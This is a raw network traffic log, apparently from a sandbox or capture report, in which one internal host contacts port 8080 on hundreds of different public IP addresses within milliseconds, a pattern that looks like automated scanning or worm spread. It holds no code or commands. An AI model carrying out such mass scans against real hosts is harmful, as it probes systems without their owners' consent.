Nov 23, 2023 05:14:51.881565094 CET	54202	8080	192.168.2.13	95.190.120.253
Nov 23, 2023 05:14:51.881567001 CET	54202	8080	192.168.2.13	31.152.188.40
Nov 23, 2023 05:14:51.881567955 CET	54202	8080	192.168.2.13	85.14.247.1
Nov 23, 2023 05:14:51.881567955 CET	54202	8080	192.168.2.13	85.45.227.24
Nov 23, 2023 05:14:51.881582975 CET	54202	8080	192.168.2.13	95.187.33.154
Nov 23, 2023 05:14:51.881582975 CET	54202	8080	192.168.2.13	85.106.177.52
Nov 23, 2023 05:14:51.881589890 CET	54202	8080	192.168.2.13	95.146.114.218
Nov 23, 2023 05:14:51.881597042 CET	54202	8080	192.168.2.13	95.227.104.156
Nov 23, 2023 05:14:51.881613016 CET	54202	8080	192.168.2.13	94.40.84.47
Nov 23, 2023 05:14:51.881613970 CET	54202	8080	192.168.2.13	62.123.251.73
Nov 23, 2023 05:14:51.881613970 CET	54202	8080	192.168.2.13	94.177.150.19
Nov 23, 2023 05:14:51.881618023 CET	54202	8080	192.168.2.13	94.206.56.174
Nov 23, 2023 05:14:51.881622076 CET	54202	8080	192.168.2.13	85.75.47.153
Nov 23, 2023 05:14:51.881624937 CET	54202	8080	192.168.2.13	85.148.33.205
Nov 23, 2023 05:14:51.881628036 CET	54202	8080	192.168.2.13	95.63.101.188
Nov 23, 2023 05:14:51.881640911 CET	54202	8080	192.168.2.13	85.215.17.146
Nov 23, 2023 05:14:51.881643057 CET	54202	8080	192.168.2.13	85.202.128.76
Nov 23, 2023 05:14:51.881648064 CET	54202	8080	192.168.2.13	94.175.206.188
Nov 23, 2023 05:14:51.881659985 CET	54202	8080	192.168.2.13	95.46.233.162
Nov 23, 2023 05:14:51.881661892 CET	54202	8080	192.168.2.13	95.70.189.59
Nov 23, 2023 05:14:51.881673098 CET	54202	8080	192.168.2.13	31.69.102.12
Nov 23, 2023 05:14:51.881673098 CET	54202	8080	192.168.2.13	94.83.78.21
Nov 23, 2023 05:14:51.881676912 CET	54202	8080	192.168.2.13	85.105.55.121
Nov 23, 2023 05:14:51.881684065 CET	54202	8080	192.168.2.13	85.70.38.30
Nov 23, 2023 05:14:51.881690025 CET	54202	8080	192.168.2.13	95.84.48.92
Nov 23, 2023 05:14:51.881702900 CET	54202	8080	192.168.2.13	95.117.154.59
Nov 23, 2023 05:14:51.881702900 CET	54202	8080	192.168.2.13	95.53.96.26
Nov 23, 2023 05:14:51.881711960 CET	54202	8080	192.168.2.13	94.3.114.44
Nov 23, 2023 05:14:51.881719112 CET	54202	8080	192.168.2.13	31.81.241.239
Nov 23, 2023 05:14:51.881726980 CET	54202	8080	192.168.2.13	85.132.43.16
Nov 23, 2023 05:14:51.881727934 CET	54202	8080	192.168.2.13	85.86.197.126
Nov 23, 2023 05:14:51.881741047 CET	54202	8080	192.168.2.13	85.121.231.22
Nov 23, 2023 05:14:51.881745100 CET	54202	8080	192.168.2.13	95.0.38.111
Nov 23, 2023 05:14:51.881752968 CET	54202	8080	192.168.2.13	95.69.42.12
Nov 23, 2023 05:14:51.881757975 CET	54202	8080	192.168.2.13	95.40.139.57
Nov 23, 2023 05:14:51.881763935 CET	54202	8080	192.168.2.13	95.142.156.15
Nov 23, 2023 05:14:51.881769896 CET	54202	8080	192.168.2.13	31.65.63.144
Nov 23, 2023 05:14:51.881783962 CET	54202	8080	192.168.2.13	85.197.244.48
Nov 23, 2023 05:14:51.881788015 CET	54202	8080	192.168.2.13	62.184.126.107
Nov 23, 2023 05:14:51.881793022 CET	54202	8080	192.168.2.13	62.157.145.219
Nov 23, 2023 05:14:51.881795883 CET	54202	8080	192.168.2.13	85.180.113.154
Nov 23, 2023 05:14:51.881803036 CET	54202	8080	192.168.2.13	95.137.9.178
Nov 23, 2023 05:14:51.881815910 CET	54202	8080	192.168.2.13	94.42.238.189
Nov 23, 2023 05:14:51.881822109 CET	54202	8080	192.168.2.13	85.219.73.12
Nov 23, 2023 05:14:51.881825924 CET	54202	8080	192.168.2.13	31.72.44.31
Nov 23, 2023 05:14:51.881836891 CET	54202	8080	192.168.2.13	85.48.101.8
Nov 23, 2023 05:14:51.881836891 CET	54202	8080	192.168.2.13	95.72.239.178
Nov 23, 2023 05:14:51.881846905 CET	54202	8080	192.168.2.13	85.163.103.245
Nov 23, 2023 05:14:51.881865025 CET	54202	8080	192.168.2.13	85.79.56.158
Nov 23, 2023 05:14:51.881865978 CET	54202	8080	192.168.2.13	85.127.240.151
Nov 23, 2023 05:14:51.881870985 CET	54202	8080	192.168.2.13	31.158.12.106
Nov 23, 2023 05:14:51.881877899 CET	54202	8080	192.168.2.13	85.25.55.21
Nov 23, 2023 05:14:51.881880045 CET	54202	8080	192.168.2.13	62.209.158.226
Nov 23, 2023 05:14:51.881896973 CET	54202	8080	192.168.2.13	95.113.90.187
Nov 23, 2023 05:14:51.881896973 CET	54202	8080	192.168.2.13	94.104.68.205
Nov 23, 2023 05:14:51.881896973 CET	54202	8080	192.168.2.13	62.5.0.187
Nov 23, 2023 05:14:51.881907940 CET	54202	8080	192.168.2.13	62.252.39.172
Nov 23, 2023 05:14:51.881913900 CET	54202	8080	192.168.2.13	95.34.168.52
Nov 23, 2023 05:14:51.881922960 CET	54202	8080	192.168.2.13	95.98.8.155
Nov 23, 2023 05:14:51.881925106 CET	54202	8080	192.168.2.13	95.6.30.143
Nov 23, 2023 05:14:51.881937027 CET	54202	8080	192.168.2.13	94.100.173.161
Nov 23, 2023 05:14:51.881941080 CET	54202	8080	192.168.2.13	31.218.255.126
Nov 23, 2023 05:14:51.881941080 CET	54202	8080	192.168.2.13	31.29.58.144
Nov 23, 2023 05:14:51.881949902 CET	54202	8080	192.168.2.13	31.167.86.251
Nov 23, 2023 05:14:51.881952047 CET	54202	8080	192.168.2.13	94.231.183.78
Nov 23, 2023 05:14:51.881975889 CET	54202	8080	192.168.2.13	95.126.230.55
Nov 23, 2023 05:14:51.881977081 CET	54202	8080	192.168.2.13	95.17.10.247
Nov 23, 2023 05:14:51.881979942 CET	54202	8080	192.168.2.13	31.147.162.3
Nov 23, 2023 05:14:51.881980896 CET	54202	8080	192.168.2.13	31.143.19.176
Nov 23, 2023 05:14:51.881980896 CET	54202	8080	192.168.2.13	95.170.39.90
Nov 23, 2023 05:14:51.881988049 CET	54202	8080	192.168.2.13	62.101.8.247
Nov 23, 2023 05:14:51.881988049 CET	54202	8080	192.168.2.13	85.202.26.47
Nov 23, 2023 05:14:51.881998062 CET	54202	8080	192.168.2.13	94.57.223.52
Nov 23, 2023 05:14:51.882005930 CET	54202	8080	192.168.2.13	95.216.76.88
Nov 23, 2023 05:14:51.882005930 CET	54202	8080	192.168.2.13	95.35.75.245
Nov 23, 2023 05:14:51.882014036 CET	54202	8080	192.168.2.13	31.254.249.107
Nov 23, 2023 05:14:51.882019997 CET	54202	8080	192.168.2.13	85.98.229.27
Nov 23, 2023 05:14:51.882019997 CET	54202	8080	192.168.2.13	95.26.171.127
Nov 23, 2023 05:14:51.882029057 CET	54202	8080	192.168.2.13	95.147.135.26
Nov 23, 2023 05:14:51.882035971 CET	54202	8080	192.168.2.13	94.199.166.180
Nov 23, 2023 05:14:51.882045031 CET	54202	8080	192.168.2.13	85.225.95.141
Nov 23, 2023 05:14:51.882055044 CET	54202	8080	192.168.2.13	31.118.28.74
Nov 23, 2023 05:14:51.882057905 CET	54202	8080	192.168.2.13	62.255.0.173
Nov 23, 2023 05:14:51.882066965 CET	54202	8080	192.168.2.13	31.200.121.20
Nov 23, 2023 05:14:51.882074118 CET	54202	8080	192.168.2.13	94.66.168.33
Nov 23, 2023 05:14:51.882076025 CET	54202	8080	192.168.2.13	95.223.179.75
Nov 23, 2023 05:14:51.882081985 CET	54202	8080	192.168.2.13	62.149.76.213
Nov 23, 2023 05:14:51.882091045 CET	54202	8080	192.168.2.13	62.87.209.194
Nov 23, 2023 05:14:51.882096052 CET	54202	8080	192.168.2.13	31.219.76.31
Nov 23, 2023 05:14:51.882100105 CET	54202	8080	192.168.2.13	85.180.52.94
Nov 23, 2023 05:14:51.882117033 CET	54202	8080	192.168.2.13	94.11.225.121
Nov 23, 2023 05:14:51.882117033 CET	54202	8080	192.168.2.13	31.82.37.39
Nov 23, 2023 05:14:51.882117033 CET	54202	8080	192.168.2.13	95.100.111.128
Nov 23, 2023 05:14:51.882117033 CET	54202	8080	192.168.2.13	85.35.68.129
Nov 23, 2023 05:14:51.882139921 CET	54202	8080	192.168.2.13	31.227.133.110
Nov 23, 2023 05:14:51.882139921 CET	54202	8080	192.168.2.13	31.90.228.138
Nov 23, 2023 05:14:51.882141113 CET	54202	8080	192.168.2.13	95.17.68.203
Nov 23, 2023 05:14:51.882153988 CET	54202	8080	192.168.2.13	94.228.137.222
Nov 23, 2023 05:14:51.882159948 CET	54202	8080	192.168.2.13	94.2.222.57
Nov 23, 2023 05:14:51.882168055 CET	54202	8080	192.168.2.13	85.180.96.219
Nov 23, 2023 05:14:51.882179022 CET	54202	8080	192.168.2.13	62.1.129.150
Nov 23, 2023 05:14:51.882183075 CET	54202	8080	192.168.2.13	94.75.167.123
Nov 23, 2023 05:14:51.882191896 CET	54202	8080	192.168.2.13	94.146.74.6
Nov 23, 2023 05:14:51.882191896 CET	54202	8080	192.168.2.13	31.208.166.194
Nov 23, 2023 05:14:51.882204056 CET	54202	8080	192.168.2.13	94.244.49.137
Nov 23, 2023 05:14:51.882213116 CET	54202	8080	192.168.2.13	62.2.81.119
Nov 23, 2023 05:14:51.882215977 CET	54202	8080	192.168.2.13	95.78.253.197
Nov 23, 2023 05:14:51.882219076 CET	54202	8080	192.168.2.13	31.13.105.33
Nov 23, 2023 05:14:51.882219076 CET	54202	8080	192.168.2.13	95.209.221.138
Nov 23, 2023 05:14:51.882235050 CET	54202	8080	192.168.2.13	85.25.146.189
Nov 23, 2023 05:14:51.882236958 CET	54202	8080	192.168.2.13	31.231.76.173
Nov 23, 2023 05:14:51.882253885 CET	54202	8080	192.168.2.13	94.170.249.147
Nov 23, 2023 05:14:51.882256985 CET	54202	8080	192.168.2.13	85.45.241.242
Nov 23, 2023 05:14:51.882256985 CET	54202	8080	192.168.2.13	62.11.79.109
Nov 23, 2023 05:14:51.882256985 CET	54202	8080	192.168.2.13	31.117.45.108
Nov 23, 2023 05:14:51.882277012 CET	54202	8080	192.168.2.13	95.47.247.123
Nov 23, 2023 05:14:51.882280111 CET	54202	8080	192.168.2.13	31.69.178.0
Nov 23, 2023 05:14:51.882281065 CET	54202	8080	192.168.2.13	95.131.234.152
Nov 23, 2023 05:14:51.882288933 CET	54202	8080	192.168.2.13	31.124.119.3
Nov 23, 2023 05:14:51.882299900 CET	54202	8080	192.168.2.13	85.126.105.244
Nov 23, 2023 05:14:51.882301092 CET	54202	8080	192.168.2.13	85.160.219.230
Nov 23, 2023 05:14:51.882302046 CET	54202	8080	192.168.2.13	62.185.208.171
Nov 23, 2023 05:14:51.882307053 CET	54202	8080	192.168.2.13	85.34.202.158
Nov 23, 2023 05:14:51.882308006 CET	54202	8080	192.168.2.13	95.71.213.96
Nov 23, 2023 05:14:51.882309914 CET	54202	8080	192.168.2.13	85.187.212.236
Nov 23, 2023 05:14:51.882320881 CET	54202	8080	192.168.2.13	94.171.194.50
Nov 23, 2023 05:14:51.882328987 CET	54202	8080	192.168.2.13	31.87.108.170
Nov 23, 2023 05:14:51.882352114 CET	54202	8080	192.168.2.13	94.232.41.41
Nov 23, 2023 05:14:51.882354975 CET	54202	8080	192.168.2.13	95.39.203.213
Nov 23, 2023 05:14:51.882355928 CET	54202	8080	192.168.2.13	85.46.37.236
Nov 23, 2023 05:14:51.882359982 CET	54202	8080	192.168.2.13	85.248.174.239
Nov 23, 2023 05:14:51.882375002 CET	54202	8080	192.168.2.13	95.220.162.169
Nov 23, 2023 05:14:51.882375002 CET	54202	8080	192.168.2.13	85.25.18.213
Nov 23, 2023 05:14:51.882378101 CET	54202	8080	192.168.2.13	85.19.113.149
Nov 23, 2023 05:14:51.882381916 CET	54202	8080	192.168.2.13	95.179.242.206
Nov 23, 2023 05:14:51.882384062 CET	54202	8080	192.168.2.13	31.102.192.176
Nov 23, 2023 05:14:51.882390022 CET	54202	8080	192.168.2.13	85.215.205.40
Nov 23, 2023 05:14:51.882410049 CET	54202	8080	192.168.2.13	85.230.4.156
Nov 23, 2023 05:14:51.882412910 CET	54202	8080	192.168.2.13	95.237.174.249
Nov 23, 2023 05:14:51.882414103 CET	54202	8080	192.168.2.13	85.254.30.123
Nov 23, 2023 05:14:51.882414103 CET	54202	8080	192.168.2.13	95.92.171.17
Nov 23, 2023 05:14:51.882414103 CET	54202	8080	192.168.2.13	85.227.126.93
Nov 23, 2023 05:14:51.882426023 CET	54202	8080	192.168.2.13	95.103.60.224
Nov 23, 2023 05:14:51.882441044 CET	54202	8080	192.168.2.13	31.241.114.235
Nov 23, 2023 05:14:51.882451057 CET	54202	8080	192.168.2.13	94.204.141.251
Nov 23, 2023 05:14:51.882452965 CET	54202	8080	192.168.2.13	31.69.238.51
Nov 23, 2023 05:14:51.882452965 CET	54202	8080	192.168.2.13	85.48.149.48
Nov 23, 2023 05:14:51.882453918 CET	54202	8080	192.168.2.13	95.109.211.103
Nov 23, 2023 05:14:51.882453918 CET	54202	8080	192.168.2.13	95.55.57.222
Nov 23, 2023 05:14:51.882460117 CET	54202	8080	192.168.2.13	94.153.200.61
Nov 23, 2023 05:14:51.882460117 CET	54202	8080	192.168.2.13	62.39.204.215
Nov 23, 2023 05:14:51.882462978 CET	54202	8080	192.168.2.13	85.218.36.87
Nov 23, 2023 05:14:51.882462978 CET	54202	8080	192.168.2.13	31.86.97.210
Nov 23, 2023 05:14:51.882476091 CET	54202	8080	192.168.2.13	31.144.196.84
Nov 23, 2023 05:14:51.882478952 CET	54202	8080	192.168.2.13	85.16.186.10
Nov 23, 2023 05:14:51.882481098 CET	54202	8080	192.168.2.13	62.122.101.183
Nov 23, 2023 05:14:51.882483959 CET	54202	8080	192.168.2.13	31.166.194.6
Nov 23, 2023 05:14:51.882494926 CET	54202	8080	192.168.2.13	95.219.199.222
Nov 23, 2023 05:14:51.882498980 CET	54202	8080	192.168.2.13	31.232.197.47
Nov 23, 2023 05:14:51.882505894 CET	54202	8080	192.168.2.13	94.131.118.1
Nov 23, 2023 05:14:51.882513046 CET	54202	8080	192.168.2.13	94.180.151.23
Nov 23, 2023 05:14:51.882524014 CET	54202	8080	192.168.2.13	31.31.241.7
Nov 23, 2023 05:14:51.882534027 CET	54202	8080	192.168.2.13	94.209.39.48
Nov 23, 2023 05:14:51.882534027 CET	54202	8080	192.168.2.13	62.21.200.76
Nov 23, 2023 05:14:51.882543087 CET	54202	8080	192.168.2.13	62.160.148.36
Nov 23, 2023 05:14:51.882554054 CET	54202	8080	192.168.2.13	95.202.158.172
Nov 23, 2023 05:14:51.882561922 CET	54202	8080	192.168.2.13	95.72.102.133
Nov 23, 2023 05:14:51.882567883 CET	54202	8080	192.168.2.13	62.37.237.220
Nov 23, 2023 05:14:51.882571936 CET	54202	8080	192.168.2.13	95.194.177.240
Nov 23, 2023 05:14:51.882580996 CET	54202	8080	192.168.2.13	85.202.127.3
Nov 23, 2023 05:14:51.882594109 CET	54202	8080	192.168.2.13	85.203.101.155
Nov 23, 2023 05:14:51.882596016 CET	54202	8080	192.168.2.13	62.135.133.199
Nov 23, 2023 05:14:51.882605076 CET	54202	8080	192.168.2.13	62.135.122.90
Nov 23, 2023 05:14:51.882605076 CET	54202	8080	192.168.2.13	95.175.246.71
Nov 23, 2023 05:14:51.882606983 CET	54202	8080	192.168.2.13	95.38.78.45
Nov 23, 2023 05:14:51.882606983 CET	54202	8080	192.168.2.13	62.153.122.13
Nov 23, 2023 05:14:51.882610083 CET	54202	8080	192.168.2.13	31.136.109.236
Nov 23, 2023 05:14:51.882610083 CET	54202	8080	192.168.2.13	94.116.80.214
Nov 23, 2023 05:14:51.882620096 CET	54202	8080	192.168.2.13	85.220.93.101
Nov 23, 2023 05:14:51.882623911 CET	54202	8080	192.168.2.13	95.220.252.166
Nov 23, 2023 05:14:51.882632971 CET	54202	8080	192.168.2.13	95.186.179.203
Nov 23, 2023 05:14:51.882646084 CET	54202	8080	192.168.2.13	95.201.123.80
Nov 23, 2023 05:14:51.882658005 CET	54202	8080	192.168.2.13	31.248.194.65
Nov 23, 2023 05:14:51.882659912 CET	54202	8080	192.168.2.13	85.120.165.143
Nov 23, 2023 05:14:51.882659912 CET	54202	8080	192.168.2.13	85.145.242.221
Nov 23, 2023 05:14:51.882659912 CET	54202	8080	192.168.2.13	85.154.145.100
Nov 23, 2023 05:14:51.882662058 CET	54202	8080	192.168.2.13	94.157.178.222
Nov 23, 2023 05:14:51.882667065 CET	54202	8080	192.168.2.13	85.173.63.159
Nov 23, 2023 05:14:51.882682085 CET	54202	8080	192.168.2.13	62.100.255.233
Nov 23, 2023 05:14:51.882688046 CET	54202	8080	192.168.2.13	95.50.79.133
Nov 23, 2023 05:14:51.882703066 CET	54202	8080	192.168.2.13	62.180.177.111
Nov 23, 2023 05:14:51.882705927 CET	54202	8080	192.168.2.13	31.124.152.216
Nov 23, 2023 05:14:51.882707119 CET	54202	8080	192.168.2.13	85.4.111.233
Nov 23, 2023 05:14:51.882720947 CET	54202	8080	192.168.2.13	31.38.242.126
Nov 23, 2023 05:14:51.882726908 CET	54202	8080	192.168.2.13	85.57.193.122
Nov 23, 2023 05:14:51.882740974 CET	54202	8080	192.168.2.13	95.220.186.73
Nov 23, 2023 05:14:51.882744074 CET	54202	8080	192.168.2.13	94.10.185.227
Nov 23, 2023 05:14:51.882744074 CET	54202	8080	192.168.2.13	31.49.9.203
Nov 23, 2023 05:14:51.882746935 CET	54202	8080	192.168.2.13	94.224.106.65
Nov 23, 2023 05:14:51.882751942 CET	54202	8080	192.168.2.13	85.180.172.99
Nov 23, 2023 05:14:51.882754087 CET	54202	8080	192.168.2.13	94.80.132.122
Nov 23, 2023 05:14:51.882766008 CET	54202	8080	192.168.2.13	85.98.77.180
Nov 23, 2023 05:14:51.882766008 CET	54202	8080	192.168.2.13	31.157.107.214
Nov 23, 2023 05:14:51.882769108 CET	54202	8080	192.168.2.13	85.86.167.237
Nov 23, 2023 05:14:51.882774115 CET	54202	8080	192.168.2.13	95.205.148.9
Nov 23, 2023 05:14:51.882781982 CET	54202	8080	192.168.2.13	94.124.30.129
Nov 23, 2023 05:14:51.882783890 CET	54202	8080	192.168.2.13	94.30.169.26
Nov 23, 2023 05:14:51.882796049 CET	54202	8080	192.168.2.13	95.69.187.67
Nov 23, 2023 05:14:51.882796049 CET	54202	8080	192.168.2.13	62.133.223.193
Nov 23, 2023 05:14:51.882796049 CET	54202	8080	192.168.2.13	62.103.98.202
Nov 23, 2023 05:14:51.882807016 CET	54202	8080	192.168.2.13	62.23.29.125
Nov 23, 2023 05:14:51.882817984 CET	54202	8080	192.168.2.13	31.29.51.60
Nov 23, 2023 05:14:51.882821083 CET	54202	8080	192.168.2.13	62.109.139.86
Nov 23, 2023 05:14:51.882822990 CET	54202	8080	192.168.2.13	62.240.47.42
Nov 23, 2023 05:14:51.882823944 CET	54202	8080	192.168.2.13	62.136.135.125
Nov 23, 2023 05:14:51.882843971 CET	54202	8080	192.168.2.13	95.201.210.220
Nov 23, 2023 05:14:51.882847071 CET	54202	8080	192.168.2.13	31.93.244.6
Nov 23, 2023 05:14:51.882847071 CET	54202	8080	192.168.2.13	95.157.97.91
Nov 23, 2023 05:14:51.882847071 CET	54202	8080	192.168.2.13	94.84.81.169
Nov 23, 2023 05:14:51.882874966 CET	54202	8080	192.168.2.13	62.210.200.62
Nov 23, 2023 05:14:51.882877111 CET	54202	8080	192.168.2.13	62.61.12.127
Nov 23, 2023 05:14:51.882878065 CET	54202	8080	192.168.2.13	31.3.127.36
Nov 23, 2023 05:14:51.882880926 CET	54202	8080	192.168.2.13	85.0.107.180
Nov 23, 2023 05:14:51.882880926 CET	54202	8080	192.168.2.13	95.156.230.118
Nov 23, 2023 05:14:51.882880926 CET	54202	8080	192.168.2.13	85.58.148.247
Nov 23, 2023 05:14:51.882883072 CET	54202	8080	192.168.2.13	95.42.182.173
Nov 23, 2023 05:14:51.882900953 CET	54202	8080	192.168.2.13	85.218.237.213
Nov 23, 2023 05:14:51.882903099 CET	54202	8080	192.168.2.13	85.21.212.79
Nov 23, 2023 05:14:51.882904053 CET	54202	8080	192.168.2.13	85.155.155.210
Nov 23, 2023 05:14:51.882914066 CET	54202	8080	192.168.2.13	95.73.184.111
Nov 23, 2023 05:14:51.882922888 CET	54202	8080	192.168.2.13	95.59.74.191
Nov 23, 2023 05:14:51.882930040 CET	54202	8080	192.168.2.13	95.198.6.238
Nov 23, 2023 05:14:51.882937908 CET	54202	8080	192.168.2.13	95.131.3.152
Nov 23, 2023 05:14:51.882941961 CET	54202	8080	192.168.2.13	62.162.229.235
Nov 23, 2023 05:14:51.882944107 CET	54202	8080	192.168.2.13	62.95.57.220
Nov 23, 2023 05:14:51.882949114 CET	54202	8080	192.168.2.13	62.34.241.255
Nov 23, 2023 05:14:51.882967949 CET	54202	8080	192.168.2.13	95.135.234.32
Nov 23, 2023 05:14:51.882970095 CET	54202	8080	192.168.2.13	31.82.188.160
Nov 23, 2023 05:14:51.882976055 CET	54202	8080	192.168.2.13	62.13.36.13
Nov 23, 2023 05:14:51.882981062 CET	54202	8080	192.168.2.13	95.86.50.79
Nov 23, 2023 05:14:51.882982016 CET	54202	8080	192.168.2.13	62.135.20.6
Nov 23, 2023 05:14:51.882999897 CET	54202	8080	192.168.2.13	95.53.158.52
Nov 23, 2023 05:14:51.882999897 CET	54202	8080	192.168.2.13	95.179.198.111
Nov 23, 2023 05:14:51.882999897 CET	54202	8080	192.168.2.13	94.227.45.6
Nov 23, 2023 05:14:51.883006096 CET	54202	8080	192.168.2.13	95.24.190.75
Nov 23, 2023 05:14:51.883006096 CET	54202	8080	192.168.2.13	62.200.153.224
Nov 23, 2023 05:14:51.883007050 CET	54202	8080	192.168.2.13	95.180.89.84
Nov 23, 2023 05:14:51.883014917 CET	54202	8080	192.168.2.13	94.76.242.253
Nov 23, 2023 05:14:51.883018017 CET	54202	8080	192.168.2.13	31.152.194.244
Nov 23, 2023 05:14:51.883024931 CET	54202	8080	192.168.2.13	95.104.233.97
Nov 23, 2023 05:14:51.883043051 CET	54202	8080	192.168.2.13	94.186.32.108
Nov 23, 2023 05:14:51.883043051 CET	54202	8080	192.168.2.13	94.84.244.83
Nov 23, 2023 05:14:51.883039951 CET	54202	8080	192.168.2.13	62.119.158.197
Nov 23, 2023 05:14:51.883049011 CET	54202	8080	192.168.2.13	62.71.1.252
Nov 23, 2023 05:14:51.883054972 CET	54202	8080	192.168.2.13	85.5.94.206
Nov 23, 2023 05:14:51.883054972 CET	54202	8080	192.168.2.13	95.74.36.97
Nov 23, 2023 05:14:51.883070946 CET	54202	8080	192.168.2.13	94.25.131.235
Nov 23, 2023 05:14:51.883073092 CET	54202	8080	192.168.2.13	94.155.101.178
Nov 23, 2023 05:14:51.883080006 CET	54202	8080	192.168.2.13	85.10.223.145
Nov 23, 2023 05:14:51.883080006 CET	54202	8080	192.168.2.13	85.38.126.110
Nov 23, 2023 05:14:51.883096933 CET	54202	8080	192.168.2.13	31.0.121.172
Nov 23, 2023 05:14:51.883097887 CET	54202	8080	192.168.2.13	95.174.78.183
Nov 23, 2023 05:14:51.883099079 CET	54202	8080	192.168.2.13	85.25.14.197
Nov 23, 2023 05:14:51.883099079 CET	54202	8080	192.168.2.13	31.208.53.211
Nov 23, 2023 05:14:51.883099079 CET	54202	8080	192.168.2.13	62.10.130.202
Nov 23, 2023 05:14:51.883115053 CET	54202	8080	192.168.2.13	94.68.191.102
Nov 23, 2023 05:14:51.883120060 CET	54202	8080	192.168.2.13	62.171.102.29
Nov 23, 2023 05:14:51.883126974 CET	54202	8080	192.168.2.13	85.109.38.152
Nov 23, 2023 05:14:51.883126974 CET	54202	8080	192.168.2.13	95.49.127.206
Nov 23, 2023 05:14:51.883135080 CET	54202	8080	192.168.2.13	95.0.15.65
Nov 23, 2023 05:14:51.883138895 CET	54202	8080	192.168.2.13	94.208.139.72
Nov 23, 2023 05:14:51.883152962 CET	54202	8080	192.168.2.13	31.52.244.211
Nov 23, 2023 05:14:51.883158922 CET	54202	8080	192.168.2.13	95.195.88.199
Nov 23, 2023 05:14:51.883171082 CET	54202	8080	192.168.2.13	62.178.245.86
Nov 23, 2023 05:14:51.883173943 CET	54202	8080	192.168.2.13	94.144.31.128
Nov 23, 2023 05:14:51.883181095 CET	54202	8080	192.168.2.13	94.139.221.218
Nov 23, 2023 05:14:51.883193016 CET	54202	8080	192.168.2.13	95.189.78.226
Nov 23, 2023 05:14:51.883193016 CET	54202	8080	192.168.2.13	95.140.129.216
Nov 23, 2023 05:14:51.883207083 CET	54202	8080	192.168.2.13	94.82.80.197
Nov 23, 2023 05:14:51.883213043 CET	54202	8080	192.168.2.13	31.118.19.66
Nov 23, 2023 05:14:51.883219957 CET	54202	8080	192.168.2.13	85.118.105.249
Nov 23, 2023 05:14:51.883222103 CET	54202	8080	192.168.2.13	62.194.66.160
Nov 23, 2023 05:14:51.883235931 CET	54202	8080	192.168.2.13	95.140.5.196
Nov 23, 2023 05:14:51.883241892 CET	54202	8080	192.168.2.13	85.110.162.196
Nov 23, 2023 05:14:51.883243084 CET	54202	8080	192.168.2.13	31.105.171.51
Nov 23, 2023 05:14:51.883258104 CET	54202	8080	192.168.2.13	85.51.206.95
Nov 23, 2023 05:14:51.883259058 CET	54202	8080	192.168.2.13	85.152.233.134
Nov 23, 2023 05:14:51.883259058 CET	54202	8080	192.168.2.13	85.44.116.0
Nov 23, 2023 05:14:51.883263111 CET	54202	8080	192.168.2.13	62.200.50.27
Nov 23, 2023 05:14:51.883264065 CET	54202	8080	192.168.2.13	85.120.11.24
Nov 23, 2023 05:14:51.883268118 CET	54202	8080	192.168.2.13	95.34.120.229
Nov 23, 2023 05:14:51.883284092 CET	54202	8080	192.168.2.13	94.68.219.241
Nov 23, 2023 05:14:51.883284092 CET	54202	8080	192.168.2.13	85.87.104.194
Nov 23, 2023 05:14:51.883295059 CET	54202	8080	192.168.2.13	95.242.101.122
Nov 23, 2023 05:14:51.883308887 CET	54202	8080	192.168.2.13	94.227.195.7
Nov 23, 2023 05:14:51.883310080 CET	54202	8080	192.168.2.13	31.103.176.55
Nov 23, 2023 05:14:51.883321047 CET	54202	8080	192.168.2.13	62.215.11.107
Nov 23, 2023 05:14:51.883328915 CET	54202	8080	192.168.2.13	62.62.173.35
Nov 23, 2023 05:14:51.883332014 CET	54202	8080	192.168.2.13	95.240.3.240
Nov 23, 2023 05:14:51.883335114 CET	54202	8080	192.168.2.13	85.70.166.96
Nov 23, 2023 05:14:51.883339882 CET	54202	8080	192.168.2.13	62.125.85.218
Nov 23, 2023 05:14:51.883347988 CET	54202	8080	192.168.2.13	95.64.166.232
Nov 23, 2023 05:14:51.883353949 CET	54202	8080	192.168.2.13	62.38.73.48
Nov 23, 2023 05:14:51.883363962 CET	54202	8080	192.168.2.13	85.124.1.96
Nov 23, 2023 05:14:51.883373976 CET	54202	8080	192.168.2.13	95.29.17.127
Nov 23, 2023 05:14:51.883374929 CET	54202	8080	192.168.2.13	62.121.24.81
Nov 23, 2023 05:14:51.883382082 CET	54202	8080	192.168.2.13	85.128.123.39
Nov 23, 2023 05:14:51.883382082 CET	54202	8080	192.168.2.13	85.255.10.151
Nov 23, 2023 05:14:51.883398056 CET	54202	8080	192.168.2.13	95.237.109.9
Nov 23, 2023 05:14:51.883404970 CET	54202	8080	192.168.2.13	31.29.146.32
Nov 23, 2023 05:14:51.883404970 CET	54202	8080	192.168.2.13	95.65.231.30
Nov 23, 2023 05:14:51.883407116 CET	54202	8080	192.168.2.13	85.74.60.111
Nov 23, 2023 05:14:51.883408070 CET	54202	8080	192.168.2.13	62.178.225.227
Nov 23, 2023 05:14:51.883410931 CET	54202	8080	192.168.2.13	94.128.244.60
Nov 23, 2023 05:14:51.883419037 CET	54202	8080	192.168.2.13	95.90.203.243
Nov 23, 2023 05:14:51.883425951 CET	54202	8080	192.168.2.13	62.47.177.237
Nov 23, 2023 05:14:51.883430958 CET	54202	8080	192.168.2.13	31.182.72.131
Nov 23, 2023 05:14:51.883430958 CET	54202	8080	192.168.2.13	94.160.210.57
Nov 23, 2023 05:14:51.883435011 CET	54202	8080	192.168.2.13	85.62.64.162
Nov 23, 2023 05:14:51.883449078 CET	54202	8080	192.168.2.13	31.185.192.191
Nov 23, 2023 05:14:51.883454084 CET	54202	8080	192.168.2.13	95.191.81.147
Nov 23, 2023 05:14:51.883466959 CET	54202	8080	192.168.2.13	31.190.54.225
Nov 23, 2023 05:14:51.883476019 CET	54202	8080	192.168.2.13	95.246.91.248
Nov 23, 2023 05:14:51.883477926 CET	54202	8080	192.168.2.13	31.43.10.63
Nov 23, 2023 05:14:51.883477926 CET	54202	8080	192.168.2.13	95.221.82.174
Nov 23, 2023 05:14:51.883479118 CET	54202	8080	192.168.2.13	85.205.88.101
Nov 23, 2023 05:14:51.883497000 CET	54202	8080	192.168.2.13	62.37.207.159
Nov 23, 2023 05:14:51.883497000 CET	54202	8080	192.168.2.13	62.35.170.61
Nov 23, 2023 05:14:51.883497000 CET	54202	8080	192.168.2.13	95.213.35.128
Nov 23, 2023 05:14:51.883497000 CET	54202	8080	192.168.2.13	85.5.69.26
Nov 23, 2023 05:14:51.883505106 CET	54202	8080	192.168.2.13	31.145.166.228
Nov 23, 2023 05:14:51.883514881 CET	54202	8080	192.168.2.13	31.81.15.131
Nov 23, 2023 05:14:51.883514881 CET	54202	8080	192.168.2.13	94.107.208.124
